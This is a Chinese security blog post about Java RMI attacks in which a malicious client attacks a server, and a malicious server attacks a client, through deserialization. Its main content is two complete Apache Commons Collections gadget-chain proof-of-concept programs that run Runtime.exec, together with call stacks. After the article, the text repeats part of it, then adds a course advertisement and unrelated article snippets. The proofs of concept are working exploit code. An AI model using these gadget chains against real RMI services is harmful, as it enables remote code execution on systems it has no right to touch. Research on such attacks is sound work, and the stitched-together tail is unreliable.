RMI攻击中的ServerClient相互攻击反制
前言
前文中,我们分析了攻击Registry的两种方式,这里我们接着前面的内容,分析Server和Client的相互攻击方式。
Attacked
Server Attacked By Client
首先我们搭建个示例,这里直接注册端和服务端放置在一起。
package pers.rmi;import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RemoteServer {public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {LocateRegistry.createRegistry(1099);//将需要调用的类进行绑定//创建远程类RemoteObject remoteObject = new RemoteObject();//获取注册中心Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);//绑定类registry.bind("test", remoteObject);}
}
来看看RemoteObject
类。
package pers.rmi;import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;//远程可以调用的类,需要继承UnicastRemoteObject类和实现RemoteInterface接口//也可以指定需要远程调用的类,可以使用UnicastRemoteObject类中的静态方法exportObject指定调用类
public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {protected RemoteObject() throws RemoteException {super();}@Overridepublic String CaseBegin() {return "Hello world!";}@Overridepublic String CaseBegin(Object demo) {return demo.getClass().getName();}@Overridepublic String CaseOver() {return "Good bye!";}
}
还有一个RemoteInterface
接口的定义, 需要扩展Remote
接口。
package pers.rmi;import java.rmi.Remote;
import java.rmi.RemoteException;//定义一个能够远程调用的接口,并且需要扩展Remote接口
public interface RemoteInterface extends Remote {public String CaseBegin() throws RemoteException;public String CaseBegin(Object demo) throws RemoteException;public String CaseOver() throws RemoteException;
}
之后我们在客户端获取远程对象时。
// 获取远程对象实例
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
RemoteInterface stub = (RemoteInterface) registry.lookup("test");
System.out.println(stub.CaseBegin(o));
我们通过调试,可以知道,我们获取的远程对象stub
是一个代理对象。
在调用这个远程对象的方法的时候,将会通过RemoteObjectInvocationHandler#invoke
方法进行调用。
将会继续调用invokeRemoteMethod
方法进行触发。
这里的proxy
对象是一个Remote
实例,因为前面以后提到了在RemoteInterface
接口中扩展了Remote
接口
所以这里调用ref.invoke
方法,此时的ref
是UnicastRef
对象,跟进。
首先这里建立了一个连接。
之后通过ref
的ID获取对应的远程方法调用,在这里传输数据主要是通过序列化和反序列化的方式进行传输,获取远程方法调用流的输出流对象,在后面通过调用marshalValue
方法进行数据的传输。
根据不同的类型,进行不同的序列化方法的调用,这里的var1
就是最开始在调用远程方法的时候传入的对象,如果,那里我们传入的是一个恶意的对象,这里将会将其进行序列化传输给服务端。
之后就是对获取的服务端发送过来的数据进行反序列化获取,当然我们这里的重点不是这里,之后会提到的,我们这个攻击方式是在向服务端发送序列化数据的时候,服务端的反序列化处理。
首先来到的是服务端的UnicastServerRef#dispatch
方法,首先获取了输入流,之后调用readLong
方法获取对应的方法hash值,也就是前面提到的invokeRemoteMethod
调用过程中,计算的Method
Hash值进行匹配。
之后再后面进行反序列化解析。
将会在这里进行反序列化的调用。
POC
package pers.rmi;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.*;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;public class RMIClientAttackDemo1 {public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, AlreadyBoundException, NoSuchFieldException {//仿照ysoserial中的写法,防止在本地调试的时候触发命令Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(faketransformers);Map innerMap = new HashMap();Map outMap = LazyMap.decorate(innerMap, transformerChain);//实例化TiedMapEntry tme = new TiedMapEntry(outMap, "key");Map expMap = new HashMap();//将其作为key键传入expMap.put(tme, "value");//removeoutMap.remove("key");//传入利用链Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);Object o = (Object) expMap;// 获取远程对象实例Registry registry = LocateRegistry.getRegistry("localhost", 1099);RemoteInterface stub = (RemoteInterface) registry.lookup("test");System.out.println(stub.CaseBegin(o));}
}
贴个调用栈。
exec:-1, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:-1, HashMap (java.util)
readObject:-1, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
invokeReadObject:-1, ObjectStreamClass (java.io)
readSerialData:-1, ObjectInputStream (java.io)
readOrdinaryObject:-1, ObjectInputStream (java.io)
readObject0:-1, ObjectInputStream (java.io)
readObject:-1, ObjectInputStream (java.io)
unmarshalValue:-1, UnicastRef (sun.rmi.server)
dispatch:-1, UnicastServerRef (sun.rmi.server)
run:-1, Transport$1 (sun.rmi.transport)
run:-1, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:-1, Transport (sun.rmi.transport)
handleMessages:-1, TCPTransport (sun.rmi.transport.tcp)
run0:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1773645219 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:-1, ThreadPoolExecutor (java.util.concurrent)
run:-1, ThreadPoolExecutor$Worker (java.util.concurrent)
run:-1, Thread (java.lang)
Client Attacked By Server
如果你跟进了前面一种攻击方法的利用细节,你会知道主要是通过Client发送序列化数据在客户端进行反序列化,如果仔细阅读了的话在前面也有铺垫。
在UnicastServerRef#dispatch
方法中在接收客户端的远程调用请求的时候。
在对客户端传入的参数进行反序列化获取之后,在后面将会将其带入var8.invoke
方法的调用(这里的var8
是客户端调用的远程方法),这里将会对返回的结果赋值给var41
变量。
在得到方法调用的结果之后,将会通过调用marshalValue
方法进行序列化传送给客户端,同样的,在客户端中将会反序列化他,跟进客户端的处理UnicastRef#invoke
方法。
通过调用unmarshalValue
方法进行反序列化,所以我们可以按照这种思路构造POC。
我们同样使用上面提到的RemoteInterface
接口RemoteObject
类的代码
只是添加一个CABS
方法。
@Override
public Object CABS() {//仿照ysoserial中的写法,防止在本地调试的时候触发命令Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(faketransformers);Map innerMap = new HashMap();Map outMap = LazyMap.decorate(innerMap, transformerChain);//实例化TiedMapEntry tme = new TiedMapEntry(outMap, "key");Map expMap = new HashMap();//将其作为key键传入expMap.put(tme, "value");//removeoutMap.remove("key");try {//传入利用链Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);} catch (Exception e) {e.printStackTrace();}Object o = (Object) expMap;return o;
}
构建一个和上面一样的服务端。
之后再客户端连接的时候请求CABS
方法。
package pers.rmi;import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;public class RMIClient {public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {RemoteInterface remoteInterface = (RemoteInterface) Naming.lookup("rmi://127.0.0.1:1099/test");
// String s = remoteInterface.CaseBegin();Object s = remoteInterface.CABS();System.out.println(s);}
}
给个调用栈。
exec:-1, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:-1, HashMap (java.util)
readObject:-1, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
invokeReadObject:-1, ObjectStreamClass (java.io)
readSerialData:-1, ObjectInputStream (java.io)
readOrdinaryObject:-1, ObjectInputStream (java.io)
readObject0:-1, ObjectInputStream (java.io)
readObject:-1, ObjectInputStream (java.io)
unmarshalValue:-1, UnicastRef (sun.rmi.server)
invoke:-1, UnicastRef (sun.rmi.server)
invokeRemoteMethod:-1, RemoteObjectInvocationHandler (java.rmi.server)
invoke:-1, RemoteObjectInvocationHandler (java.rmi.server)
CABS:-1, $Proxy0 (com.sun.proxy)
main:12, RMIClient (pers.rmi)
总结
这里分别分析了从客户端攻击服务端和服务端攻击客户端的攻击方式,两端之间的相互攻击,变相就是一个相互反制的利用。
Ref
https://www.anquanke.com/post/id/257452
-1, UnicastRef (sun.rmi.server)
invokeRemoteMethod:-1, RemoteObjectInvocationHandler (java.rmi.server)
invoke:-1, RemoteObjectInvocationHandler (java.rmi.server)
CABS:-1, $Proxy0 (com.sun.proxy)
main:12, RMIClient (pers.rmi)
总结
这里分别分析了从客户端攻击服务端和服务端攻击客户端的攻击方式,两端之间的相互攻击,变相就是一个相互反制的利用。
Ref
https://www.anquanke.com/post/id/257452
最后
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取
有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:
高清学习路线图或XMIND文件(点击下载原文件)
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】
相关文章:

RMI攻击中的ServerClient相互攻击反制
前言 前文中,我们分析了攻击Registry的两种方式,这里我们接着前面的内容,分析Server和Client的相互攻击方式。 Attacked Server Attacked By Client 首先我们搭建个示例,这里直接注册端和服务端放置在一起。 package pers.rm…...

值类型和引用类型
一、值类型和引用类型示例: 值类型:基本数据类型系列,如:int,float,bool,string,数组和结构体等。 引用类型:如:指针,slice切片,map&a…...

后端开发必懂nginx面试40问
什么是Nginx? Nginx是一个 轻量级/高性能的反向代理Web服务器,用于 HTTP、HTTPS、SMTP、POP3 和 IMAP 协议。他实现非常高效的反向代理、负载平衡,他可以处理2-3万并发连接数,官方监测能支持5万并发,现在中国使用ngin…...
Redis为什么这么快?
1.基于内存存储实现 在MySQL数据库中,所有的读写操作都要通过IO的方式从硬盘中获取。在Redis中,所有的操作都是基于内存实现的,从而减少IO操作提高数据库性能。 2.高效的数据结构 SAS简单动态字符串 字符串长度:SAS查询的时间复杂度O(1),c语言中时间复杂度O(n)空间分配来…...

几种实现主题切换的方式
几种实现主题切换的方式 1. 利用 prefers-color-scheme 特性 prefers-color-scheme是CSS 媒体特性【media】用于检测用户是否有将操作系统的主题色设置为亮色【light】或者暗色【dark】。 当前prefers-color-scheme新特性支持各大主流电脑(window和IOS系统&#…...

Jenkins使用(代码拉取->编译构建->部署上线)
Jenkins简介 Jenkins是一个开源项目,提供了一种易于使用的持续集成系统,使开发者从繁杂的集成中解脱出来,专注于更重要的业务逻辑实现上。同时Jenkins能实时监控集成中存在的错误,提供详细的日志文件和提醒功能,还能用…...
IEEE期刊论文投稿前期准备
目录 1、简介 2、资料准备 TPAMI 投稿须知 Letex模板资料下载 下载参考文献Bib文件...

[AAAI 2022] TransFG: A Transformer Architecture for Fine-grained Recognition
Contents TransFG ArchitectureExperimentsReferencesTransFG Architecture Overlapping patch split:ViT 是把图片分成一系列不重叠的 patches,作者认为这可能会破坏 discriminative regions. 为了解决上述问题,作者提出使用 Overlapping patch split,划分的 patch 数 N …...

机器学习之决策树原理详解、公式推导(手推)、面试问题、简单实例(python实现,sklearn调包)
目录1. 决策树原理1.1. 特性1.2. 思路1.3. 概念决策树概念信息论2. 公式推导2.1. 构造决策树2.1.1. ID3理论示例缺点2.1.2. C4.5理论示例缺点2.1.3. CART示例对比分析2.2. 剪枝3. 实例3.1. 数据集3.2. ID33.3. C4.53.4. CART3.5. sklearn实现4. 几个注意点(面试问题)5. 运行&am…...
一文搞懂CAS实现原理——怀玉
点个关注,必回关 文章目录CAS原理剖析1、参数解密CAS底层指令CAS(Compare and swap)是一种用于在多线程环境下实现同步功能的机制CAS原理剖析 CAS 被认为是一种乐观锁,有乐观锁,相对应的是悲观锁。 在上述示例中&…...

typora每次复制文档都要附带图片文件夹?学会配置gitee图床
0. 引言 作为开发人员,我们习惯使用md格式来编写文档,特别是typora编辑器更是日常使用的软件。但作为轻量化的文档编辑器,我们在默认插入图片时,一般typora会将图片保存到本地或者引用一个本地图片的路径 当文档还在我们本地打开…...

Linux--gdb
gdb用于实现在linux下通过gdb进行调试。由于gcc、g生成的文件是release文件,而不是用于调试的debug文件,所以需要使用gcc -g命令,生成debug文件 调试器:核心工作,主要是为了定位问题 所有查看内容的指令,不…...
c++11 标准模板(STL)(std::multimap)(二)
定义于头文件 <map> template< class Key, class T, class Compare std::less<Key>, class Allocator std::allocator<std::pair<const Key, T> > > class multimap;(1)namespace pmr { template <class Key, class T…...

【数据结构】二叉排序树——平衡二叉树的调整
文章目录前置概念一、构造平衡二叉树的基本思想二、一个示例三、平衡二叉树的调整细节(1)LL型(顺时针 )举例(2)RR型(逆时针)(3)LR型(先逆时针再顺…...
03- pandas 数据库可视化 (数据库)
pandas库的亮点: 一个快速、高效的DataFrame对象,用于数据操作和综合索引;用于在内存数据结构和不同格式之间读写数据的工具:CSV和文本文件、Microsoft Excel、SQL数据库和快速HDF 5格式;智能数据对齐和丢失数据的综合处理&#…...

第三方电容笔怎么样?开学适合买的电容笔
随着科学技术的进步,很多新型的电子产品和数码设备都出现了。比如手机,IPAD,蓝牙耳机,电容笔等等。实际上,如果你想要更好的使用ipad,那么你就需要一支电容笔。比如ipad,我们用ipad来做笔记&…...
Java学习-IO流-字节输出流
Java学习-IO流-IO流的体系和字节输出流基本用法 //IO流 → 字节流 → 字节输入流:InputStream // ↘ ↘ 字节输出流:OutputStream // ↘ 字符流 → 字符输入流:Reader // ↘ 字符输出流:WriterFileInputStream…...

linux性能分析 性能之巅学习笔记和内容摘录
本文只是在阅读《性能之巅》的过程中,对一些觉得有用的地方进行的总结和摘录,并附加一些方便理解的材料,完整内容还请阅读Gregg的大作 概念和方法 性能分析领域一词的全栈代表了整个操作系统的软硬件在内的所有事物 软件生命周期和性能规划…...

机器学习笔记之生成模型综述(三)生成模型的表示、推断、学习任务
机器学习笔记之生成模型综述——表示、推断、学习任务引言生成模型的表示任务从形状的角度观察生成模型的表示任务从概率分布的角度观察生成模型的表示任务生成模型的推断任务生成模型的学习任务引言 上一节介绍了从监督学习、无监督学习任务的角度介绍了经典模型。本节将从表…...

第八章 Flink集成Iceberg的DataStreamAPI、TableSQLAPI详解
1、概述 目前Flink支持使用DataStream API 和SQL API方式实时读取和写入Iceberg表,建议使用SQL API方式实时读取和写入Iceberg表。 Iceberg支持的Flink版本为1.11.x版本以上,以下为版本匹配关系: Flink版本Iceberg版本备注Flink1.11.XI…...

华为云AI开发平台ModelArts
华为云ModelArts:重塑AI开发流程的“智能引擎”与“创新加速器”! 在人工智能浪潮席卷全球的2025年,企业拥抱AI的意愿空前高涨,但技术门槛高、流程复杂、资源投入巨大的现实,却让许多创新构想止步于实验室。数据科学家…...
【网络】每天掌握一个Linux命令 - iftop
在Linux系统中,iftop是网络管理的得力助手,能实时监控网络流量、连接情况等,帮助排查网络异常。接下来从多方面详细介绍它。 目录 【网络】每天掌握一个Linux命令 - iftop工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景…...

遍历 Map 类型集合的方法汇总
1 方法一 先用方法 keySet() 获取集合中的所有键。再通过 gey(key) 方法用对应键获取值 import java.util.HashMap; import java.util.Set;public class Test {public static void main(String[] args) {HashMap hashMap new HashMap();hashMap.put("语文",99);has…...

2.Vue编写一个app
1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...
ffmpeg(四):滤镜命令
FFmpeg 的滤镜命令是用于音视频处理中的强大工具,可以完成剪裁、缩放、加水印、调色、合成、旋转、模糊、叠加字幕等复杂的操作。其核心语法格式一般如下: ffmpeg -i input.mp4 -vf "滤镜参数" output.mp4或者带音频滤镜: ffmpeg…...

Android15默认授权浮窗权限
我们经常有那种需求,客户需要定制的apk集成在ROM中,并且默认授予其【显示在其他应用的上层】权限,也就是我们常说的浮窗权限,那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...

html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码
目录 一、👨🎓网站题目 二、✍️网站描述 三、📚网站介绍 四、🌐网站效果 五、🪓 代码实现 🧱HTML 六、🥇 如何让学习不再盲目 七、🎁更多干货 一、👨…...

JVM 内存结构 详解
内存结构 运行时数据区: Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器: 线程私有,程序控制流的指示器,分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 每个线程都有一个程序计数…...
C#中的CLR属性、依赖属性与附加属性
CLR属性的主要特征 封装性: 隐藏字段的实现细节 提供对字段的受控访问 访问控制: 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性: 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑: 可以…...